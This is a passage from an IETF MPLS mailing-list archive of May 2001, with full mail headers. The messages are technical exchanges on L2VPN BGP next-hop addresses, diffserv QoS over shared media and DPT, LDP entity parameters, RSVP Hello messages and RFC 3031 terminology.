In-Reply-To: <6B190B34070BD411ACA000B0D0214E56C65C81@newman.tenornet.com>
References: <6B190B34070BD411ACA000B0D0214E56C65C81@newman.tenornet.com>
X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs  Lucid
Message-ID: <15095.10563.65347.901536@fuinar.juniper.net>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



 > BGP's next hop field for L2VPN signalling is not clearly specified. 
 > 
 > Since [BGP-MP] (rfc 2858) requires that the next hop address be in the same
 > address family as the NLRI.  What the next hop address should be for
 > L2VPN-specific NLRIs?  Thx, 

I couldn't find any such requirement in the rfc. 

Since you want MPLS LSPs terminating in these next-hop addresses, and
currently most implementation use IPv4 addresses as destinations in
the LSPs, it seems like IPv4 addresses are a good candidate for the
nexthop field. 

We will update the L2VPN specification to reflect this as a
recommendation.

Thanks,
Quaizar



 > 
 > -eve


From owner-mpls@UU.NET  Mon May  7 20:39:50 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA25272
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 20:39:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoba09307;
	Tue, 8 May 2001 00:39:28 GMT
Received: by mail-control.mail.uu.net 
	id QQkoba25392
	for mpls-outgoing; Tue, 8 May 2001 00:38:56 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoba25368
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 00:38:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoba19064
	for <mpls@UU.NET>; Tue, 8 May 2001 00:38:20 GMT
Received: from lysimachus.hosting.pacbell.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lysimachus.hosting.pacbell.net [216.100.98.17])
	id QQkoba06908
	for <mpls@UU.NET>; Tue, 8 May 2001 00:38:19 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by lysimachus.hosting.pacbell.net
	id UAA18652; Mon, 7 May 2001 20:37:50 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "Pankaj K Jha" <pkj@cypress.com>
Cc: "Juha Heinanen" <jh@lohi.eng.telia.fi>,
        "HANSEN CHAN" <hansen.chan@alcatel.com>, "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Mon, 7 May 2001 17:36:14 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILMENOCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <3AF733B8.8E93C4F5@cypress.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Pankaj,

-----Original Message-----
From: Pankaj K Jha [mailto:pkj@cypress.com]
Sent: Monday, May 07, 2001 4:46 PM
To: Jay Wang
Cc: Juha Heinanen; HANSEN CHAN; Fred Baker; Naidu, Venkata;
'mpls@uu.net'; te-wg@ops.ietf.org
Subject: Re: QoS in Shared Media

>DPT, on the other hand, will go ahead and divide available bandwidth
equally to
>all four nodes - ignoring whatever you may do with Diff-serv. DPT works
best
>when all nodes have equal bandwidth requirements, and it doesn't work when
you
>have dissimilar bandwidth needs. Dissimilar bandwidth needs are quite
common in
>metro networks where hub-and-spoke configurations are norm. If you have
>bandwidth paying customers such as financial institutions and corporate
clients
>on a metro ring along with average over-provisioned clients, DPT will not
do the
>job at all, in my view.


I believe DPT allows you to artificially specify a cap on the bandwidth, by
configuring the MAX_USAGE parameter, on a per-node basis. But even if all
the
nodes evenly divide the ring bandwidth, this does not mean that on each
node,
I can not provide differentiated treatment (in terms of forwarding and
bandwidth
allocation) among diffserv PHBs at the nodes.  Also if the nodes have very
different
BW needs, then they don't have to be placed on the same ring, a traffic
engineering
issue for the carrier.

- jay



From owner-mpls@UU.NET  Mon May  7 21:07:29 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA25675
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 21:07:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkobc09865;
	Tue, 8 May 2001 01:06:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkobc15921
	for mpls-outgoing; Tue, 8 May 2001 01:05:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkobc15575
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 01:05:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkobc08052
	for <mpls@UU.NET>; Tue, 8 May 2001 01:02:48 GMT
Received: from antipater.hosting.pacbell.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: antipater.hosting.pacbell.net [216.100.99.13])
	id QQkobc11415
	for <mpls@UU.NET>; Tue, 8 May 2001 01:02:48 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by antipater.hosting.pacbell.net
	id VAA05361; Mon, 7 May 2001 21:01:55 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "David Charlap" <david.charlap@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: QoS in Shared Media
Date: Mon, 7 May 2001 18:00:19 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILEENPCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <3AF734FB.A0908D69@marconi.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


>> 
>> Dunno what is the problem. To support diffserv, the underneath
>> transport (MAC layer and lower), does not have to have a
>> sophisticated traffic management matching diffserv PHBs. ...
>> In a share-media environment, from diffserv's perspective, what we
>> need from below is a link layer that may ensure a quantifiable and
>> stable guaranteed throughput for the target nodes, regardless of the
>> other sharing nodes.

>If every node is connected via a layer-2 switch that is policing and
>shaping traffic, then the nodes are not sharing media.
>
>If the media is actually shared - connected via repeaters and not
>bridges - then QoS can only work when everybody plays nice together.
>
>-- David


Yes, indeed.  

thanks,

- jay


From owner-mpls@UU.NET  Mon May  7 21:08:39 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA25725
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 21:08:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkobc16443;
	Tue, 8 May 2001 01:07:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkobc16260
	for mpls-outgoing; Tue, 8 May 2001 01:07:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkobc16040
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 01:06:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkobc24208
	for <mpls@UU.NET>; Tue, 8 May 2001 01:05:56 GMT
Received: from noya.bupt.edu.cn by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: noya.bupt.edu.cn [202.112.96.2])
	id QQkobc15444
	for <mpls@UU.NET>; Tue, 8 May 2001 01:05:54 GMT
Received: from vinus ([202.112.109.71])
	by noya.bupt.edu.cn (8.11.3/8.10.1) with SMTP id f4815RR08565;
	Tue, 8 May 2001 09:05:33 +0800 (CST)
Message-Id: <200105080105.f4815RR08565@noya.bupt.edu.cn>
Date: Tue, 8 May 2001 9:3:37 +0800
From: Felix Chang <mplszhz@263.net>
To: Hans Sj?strand <hans@ipunplugged.com>
CC: "mpls@UU.NET" <mpls@UU.NET>
Subject: Re: RE: Parameters in LDP entity table
X-mailer: FoxMail 3.11 [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id VAA25725

hi,Hansse
	Thank you, but I still have some questions.
	As you said, we could have several entities when the LSR have 
ATM-based and FR-based interfaces at the same time. And these 
entities could have different distribution and retention method.
	My question is: If in one LSR, two entities for two interfaces
 have different distribution and retention method, could these two
 interfaces interwork? If a LSP is setting up between them, we should
use which distribution method in these two entities?

Best regards!

							Felix

On 2001-05-07 11:07:00 you wrote£º
>It's true that for many ATM or FR based interfaces uses the
>encap from rfc3034 or rfc3035. It's also true that those use
>per intreface label space. In that case you have several
>entities. distribution and retention method isn't neccesary
>the same over the label switch even though it's defently the
>most common case.
>
>from RFC 3037 LDP Applicability, section 3
>   Downstream on Demand distribution with conservative label retention
>   and ordered control is appropriate in situations where labels are a
>   relatively scarce resource that must be conserved, and Downstream
>   Unsolicited distribution with liberal label retention and independent
>   control is appropriate where labels are plentiful and need not be
>   carefully conserved.  However, the protocol permits other
>   combinations of distribution method, label retention mode and control
>   mode, including hybrid variants of them.
>
>Regards
>/// Hasse
>
>> -----Original Message-----
>> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Felix Chang
>> Sent: den 6 maj 2001 09:57
>> To: mpls_maillist
>> Subject: Parameters in LDP entity table
>>
>>
>> hi,everyone
>>
>>       I am confused by some parameters in the LDP entity table.
>>       Suppose there are several kinds of mpls-capable
>> interfaces(eg.ATM-based, fr-based) in a LSR, it should use per
>> interface label space. So it has several LDP entities. Is that
>> right? In these entities, are the values of some parameters such
>> as mplsLdpEntityLabelDistributionMethod,
>> mplsLdpEntityLabelRetentionMode, the same?
>>
>>
>>       Best regards!
>>                         Felix Chang
>>                           mplszhz@263.net

	Best regards£¡

            Felix Chang
            mplszhz@263.net



From owner-mpls@UU.NET  Mon May  7 22:02:41 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA27311
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 22:02:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkobg14533;
	Tue, 8 May 2001 02:02:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkobg28616
	for mpls-outgoing; Tue, 8 May 2001 02:01:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkobg27822
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 02:01:47 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkobg26857
	for <mpls@UU.NET>; Tue, 8 May 2001 02:01:20 GMT
Received: from dnsmx1rrc.telcordia.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1rrc.telcordia.com [128.96.20.41])
	id QQkobg13158
	for <mpls@UU.NET>; Tue, 8 May 2001 02:01:20 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1rrc.telcordia.com (8.9.3/8.9.3) with ESMTP id WAA02868;
	Mon, 7 May 2001 22:00:39 -0400 (EDT)
Subject: Re: RSVP hello message
To: "Hong Liao" <hliao@telcordia.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Mon, 7 May 2001 22:01:04 -0400
Message-ID: <OF37FDA4F5.F94CF035-ON85256A46.000A236F@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/07/2001 10:01:05 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Thanks for your detail explanation for the RSVP tear down connection issue.

I still have one more for the Hello message needed to confirm.  Anytime,
the Ingress, Egress or LSR which supports Hello extension, will send out
Hello(request) message, for any reason the router which received this Hello
request message must first reply Hello ack back, then it can move to
another stage.

Suppose there is Ingress router which sends out Path message, it is waiting
Resv back from the Egress, but before it receives the Resv, it received a
Hello request message from neighbour, it must send out Hello ack back first
for any reason.

Thanks in an advance.
Julia





"Hong Liao" <hliao@telcordia.com> on 05/07/2001 02:37:23 PM

To:   David Charlap <david.charlap@marconi.com>
cc:   mpls@UU.NET (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello message




David,

Thanks for your pointer.  I really appreciated.

Did you get chance to take a look at my disconnection(clear network)
questions?

Thanks

Julia




David Charlap <david.charlap@marconi.com> on 05/07/2001 12:23:10 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello message



Hong Liao wrote:
>
> The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
> format for hello message is as on section 5.1:
>
> <Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>
>
> I want to make sure if the Hello object here is only one or a list
> of Hello objects.
> For my understanding, the format in Hello message, <Hello>  is not
> a list of Hello objects, it should be one Hello object between two
> RSVP neighbours.
> Can anyone help me to confirm this?

You have the correct understanding.  A single HELLO object per message.
One message per peer.  If for some reason you have multiple peers
sharing an interface (eg. a shared-media link), then each peer gets a
separate Hello message, each containing one HELLO object.

-- David










From owner-mpls@UU.NET  Mon May  7 22:24:41 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA27627
	for <mpls-archive@lists.ietf.org>; Mon, 7 May 2001 22:24:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkobh12440;
	Tue, 8 May 2001 02:24:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkobh11924
	for mpls-outgoing; Tue, 8 May 2001 02:23:39 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkobh11908
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 02:23:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkobh07506
	for <mpls@UU.NET>; Tue, 8 May 2001 02:23:11 GMT
Received: from dnsmx2pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx2pya.telcordia.com [128.96.20.32])
	id QQkobh10819
	for <mpls@UU.NET>; Tue, 8 May 2001 02:23:11 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx2pya.telcordia.com (8.9.3/8.9.3) with ESMTP id WAA03358;
	Mon, 7 May 2001 22:20:51 -0400 (EDT)
Subject: Re: RSVP hello message
To: David Charlap <david.charlap@marconi.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@TELCORDIA.COM>
Date: Mon, 7 May 2001 22:21:16 -0400
Message-ID: <OF8EEF1794.CDD12A69-ON85256A46.000CD818@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/07/2001 10:21:17 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk


David,

Sorry, I send the last email to myself by mistakes.

Thanks for your detail explanation for the RSVP tear down connection issue.

I still have one more for the Hello message needed to confirm.  Anytime,
the Ingress, Egress or LSR which supports Hello extension, will send out
Hello(request) message, for any reason the router which received this Hello
request message must first reply Hello ack back, then it can move to
another stage.

Suppose there is Ingress router which sends out Path message, it is waiting
Resv back from the Egress, but before it receives the Resv, it received a
Hello request message from neighbour, it must send out Hello ack back first
for any reason.

Thanks in an advance.
Julia




David Charlap <david.charlap@marconi.com> on 05/07/2001 12:23:10 PM

To:   mpls@UU.NET
cc:    (bcc: Hong Liao/Telcordia)
Subject:  Re: RSVP hello message



Hong Liao wrote:
>
> The hello message in RSVP draft-ietf-mpls-rsvp-lsp-tunnel-07.txt, the
> format for hello message is as on section 5.1:
>
> <Hello message>:: = <Common Header>  [<INTEGRITY>] <HELLO>
>
> I want to make sure if the Hello object here is only one or a list
> of Hello objects.
> For my understanding, the format in Hello message, <Hello>  is not
> a list of Hello objects, it should be one Hello object between two
> RSVP neighbours.
> Can anyone help me to confirm this?

You have the correct understanding.  A single HELLO object per message.
One message per peer.  If for some reason you have multiple peers
sharing an interface (eg. a shared-media link), then each peer gets a
separate Hello message, each containing one HELLO object.

-- David






From owner-mpls@UU.NET  Tue May  8 02:07:23 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA15343
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 02:07:23 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkobw01843;
	Tue, 8 May 2001 06:06:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkobw14198
	for mpls-outgoing; Tue, 8 May 2001 06:05:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkobw14152
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 06:05:25 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkobw29241
	for <mpls@uu.net>; Tue, 8 May 2001 06:04:31 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkobw12298
	for <mpls@uu.net>; Tue, 8 May 2001 06:04:25 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id CAA19706 for mpls@uu.net; Tue, 8 May 2001 02:04:25 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkobw08657
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 06:03:58 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkobw25551
	for <mpls@UU.NET>; Tue, 8 May 2001 06:03:16 GMT
Received: from lohi.eng.telia.fi by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lohi.eng.telia.fi [195.10.149.18])
	id QQkobw28392
	for <mpls@UU.NET>; Tue, 8 May 2001 06:03:15 GMT
Received: (from jh@localhost)
	by lohi.eng.telia.fi (8.11.1/8.11.1/Debian 8.11.0-6) id f48633k02257;
	Tue, 8 May 2001 09:03:03 +0300
From: Juha Heinanen <jh@lohi.eng.telia.fi>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15095.35863.76753.616693@lohi.eng.telia.fi>
Date: Tue, 8 May 2001 09:03:03 +0300 (EEST)
To: "Jay Wang" <jwang@opixnetworks.com>
Cc: "HANSEN CHAN" <hansen.chan@alcatel.com>, "Fred Baker" <fred@cisco.com>,
        "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
In-Reply-To: <NEBBKNOANMBIAAGAOBILAENNCBAA.jwang@opixnetworks.com>
References: <15091.38161.514887.486740@lohi.eng.telia.fi>
	<NEBBKNOANMBIAAGAOBILAENNCBAA.jwang@opixnetworks.com>
X-Mailer: VM 6.75 under Emacs 19.34.1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

jay,

dpt is layer 2 technology and i was talking about diffserv support at
layer 2, which dpt doesn't properly have.  ethernet, on the other hand,
does support diffserv also at layer 2, which allows you to build a layer
2 switched network of any topology and still have proper support for
diffserv.  

according to your definition even atm supports diffserv since one can
always use cbr vcs between routers and then let the routers do the
proper queueing.  for several reasons this is not a good idea.

-- juha



From owner-mpls@UU.NET  Tue May  8 04:53:48 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA17383
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 04:53:48 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoch21340;
	Tue, 8 May 2001 08:53:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkoch05846
	for mpls-outgoing; Tue, 8 May 2001 08:52:32 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoch05838
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 08:52:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoch25659
	for <mpls@uu.net>; Tue, 8 May 2001 08:52:09 GMT
Received: from smtp.163.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.108.44.212])
	id QQkoch24546
	for <mpls@uu.net>; Tue, 8 May 2001 08:52:08 GMT
Received: from hllu (unknown [61.152.8.120])
	by smtp.163.com (Postfix) with SMTP id 3B7771C3C4892
	for <mpls@uu.net>; Tue,  8 May 2001 17:01:47 +0800 (CST)
Date: Tue, 8 May 2001 16:49:27 +0800
From: "Hailong Lu.sean" <sealong@163.com>
Reply-To: sealong@163.com
To: "mpls@uu.net" <mpls@UU.NET>
Subject: rfc3031 section3.2
X-mailer: FoxMail 3.11 Release [cn]
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
Content-Transfer-Encoding: 7bit
Message-Id: <20010508090147.3B7771C3C4892@smtp.163.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,there
    I am new guy to MPLS.While reading rfc3031's section 3.2,there
are some words I can't understand:

   "To say that one node is upstream and one is downstream with respect
   to a given binding means only that a particular label represents a
   particular FEC in packets travelling from the upstream node to the
   downstream node.  This is NOT meant to imply that packets in that FEC
   would actually be routed from the upstream node to the downstream
   node"

   thanks.



sean




From owner-mpls@UU.NET  Tue May  8 05:12:09 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA17674
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 05:12:09 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoci21422;
	Tue, 8 May 2001 09:11:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkoci26141
	for mpls-outgoing; Tue, 8 May 2001 09:11:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkoci26058
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 09:10:57 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoci26121
	for <mpls@UU.NET>; Tue, 8 May 2001 09:09:46 GMT
Received: from wiprom2mx1.wipro.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkoci18936
	for <mpls@UU.NET>; Tue, 8 May 2001 09:09:36 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.9.3+Sun/8.9.3) with SMTP id OAA25390
	for <mpls@UU.NET>; Tue, 8 May 2001 14:47:50 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GD0F1N00.BQN; Tue, 8 May 2001 14:45:23 +0530 
Date: Tue, 8 May 2001 14:44:52 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: "Hailong Lu.sean" <sealong@163.com>
cc: "mpls@uu.net" <mpls@UU.NET>
Subject: Re: rfc3031 section3.2
In-Reply-To: <20010508090147.3B7771C3C4892@smtp.163.com>
Message-ID: <Pine.LNX.4.21.0105081439190.20326-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


> Hi,there
>     I am new guy to MPLS.While reading rfc3031's section 3.2,there
> are some words I can't understand:

Hi,
	This paragraph is to say that, the terms 'upstream' and
'downstream' are applicable to a set of two nodes only in the context of
one particular FEC and corresponding lable for that FEC between these to
nodes, and for nothing else. Would this make clear ??

Thanks
Chetan S

> 
>    "To say that one node is upstream and one is downstream with respect
>    to a given binding means only that a particular label represents a
>    particular FEC in packets travelling from the upstream node to the
>    downstream node.  This is NOT meant to imply that packets in that FEC
>    would actually be routed from the upstream node to the downstream
>    node"
> 
>    thanks.
> 
> 
> 
> sean
> 
> 



From owner-mpls@UU.NET  Tue May  8 06:22:01 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA18322
	for <mpls-archive@lists.ietf.org>; Tue, 8 May 2001 06:22:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkocn16551;
	Tue, 8 May 2001 10:21:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkocn20780
	for mpls-outgoing; Tue, 8 May 2001 10:20:53 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkocn20775
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 10:20:48 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkocn28623
	for <mpls@UU.NET>; Tue, 8 May 2001 10:20:11 GMT
From: suchauhan@hss.hns.com
Received: from hindon.hss.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.26.202])
	id QQkocn08266
	for <mpls@UU.NET>; Tue, 8 May 2001 10:19:44 GMT
Received: from sandesh.hss.hns.com (localhost [127.0.0.1])
	by hindon.hss.co.in (8.10.0/8.10.0) with SMTP id f48AJre09258;
	Tue, 8 May 2001 15:49:53 +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id 65256A46.00374F5D ; Tue, 8 May 2001 15:34:07 +0530
X-Lotus-FromDomain: HSS
To: chetan.kumar@wipro.com
cc: "Hailong Lu.sean" <sealong@163.com>, "mpls@uu.net" <mpls@UU.NET>
